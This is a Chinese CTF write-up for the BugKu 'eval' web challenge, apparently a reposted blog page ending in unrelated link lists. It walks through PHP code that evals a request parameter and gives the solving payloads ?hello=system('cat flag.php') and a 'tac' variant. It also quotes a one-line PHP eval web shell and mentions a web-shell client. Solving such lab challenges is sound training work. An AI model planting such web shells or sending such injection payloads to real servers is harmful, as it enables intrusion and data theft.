当前位置: 首页 > news >正文

BugKu Web渗透之eval

启动场景,打开网页,显示的是一段代码。

步骤一:

分析代码。

代码大概意思是:

 <?php//包含"flag.php"的文件include "flag.php";    //获取网页请求的hello数据$a = @$_REQUEST['hello'];   //显示变量a的详细信息,再将变量里的内容当代码运行 eval( "var_dump($a);"); //对文件进行 PHP 语法高亮显示 show_source(__FILE__);       
?> 

关于$ _request函数:

php中有$ _request与$ _post、$ _get用于接受表单数据。

$ _request与$ _post、$ _get的区别和特点
php中$ _request可以获取以POST方法和GET方法提交的数据,但是$ _request[]比较慢。通过post和get方法提交的所有数据都可以通过$ _REQUEST数组获得。

步骤二:

拼接网址传参。

我之前的方向错了,我总是想通过菜刀去连接。想着一句话木马:<?php eval(@$_POST['a']); ?>    上面已经给了我们eval,那是否拼接里面这一串  (@$_POST['a']);  就可以了?

于是我用菜刀去连接,但是无论怎么试,没没法查看里面的文件。

于是我换一个想法,拼接system函数。system是用来执行外部程序或命令的函数。

之前代码已经提示我们有一个flag.php的文件,那么是否查看他,就可以找到flag了?

于是我尝试用  117.72.52.127:10875/?hello=system(’cat flag.php‘)去请求,没有发现任何异常,点击右键查看源代码,发现flag在源代码中。

用 117.72.52.127:10875/?hello=system(’cat flag.php‘) 去请求后的网页显示:

用查看源代码可以看到flag。

或者直接用117.72.52.127:10875/?hello=system(’tac flag.php‘) 去请求。

一个小tip:

当用cat不会显示在网页上时,我们试试tac,一般就可以直接显示在网页上了。

其他探讨:

我有用117.72.52.127:10875/?hello=system(’cat flag.php‘);去请求,但是没有任何回显,为什么加了分号就不行了。不是php中一定要用分号结束语句吗?

相关文章:

  • vue生成二维码图片+文字说明
  • html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码
  • JS设计模式(4):观察者模式
  • LabVIEW工业级多任务实时测控系统
  • ruoyi-plus-could 负载均衡 通过 Gateway模块配置负载均衡
  • UniApp系列
  • 华为OD最新机试真题-食堂供餐-OD统一考试(B卷)
  • Bootstrap 4 文件结构与 API 使用指南
  • 如何使用索引和条件批量更改Series数据
  • 交易系统开发:跨境资本的高速通道架构解密
  • HarmonyOS运动开发:如何用mpchart绘制运动配速图表
  • 父组件prop传向子组件的值,被子组件直接v-model绑定 功能不生效
  • 前端实现视频/直播预览
  • 深入理解 Python `asyncio` 的子进程协议(Subprocess Protocol)
  • Java-IO流之压缩与解压缩流详解
  • 阿里联合上海AI Lab提出DMM!多个模型压缩成一个通用T2I模型!可控任意风格生成!
  • Tomcat全方位监控实施方案指南
  • Python内置函数ord()详解
  • 数据库系统学习
  • M3T联邦基础模型用于具身智能:边缘集成的潜力与挑战
  • 蓝色大气企业网站phpcms模板/品牌传播推广方案
  • 网站访问测试工具/女教师遭网课入侵直播
  • 如何建设一个彩票网站/软件培训机构有哪些?哪个比较好
  • 万网网站备案流程/总排行榜总点击榜总收藏榜
  • 做网站建设哪家便宜/宁波seo排名优化哪家好
  • 来宾建设工程造价网站/外贸seo推广公司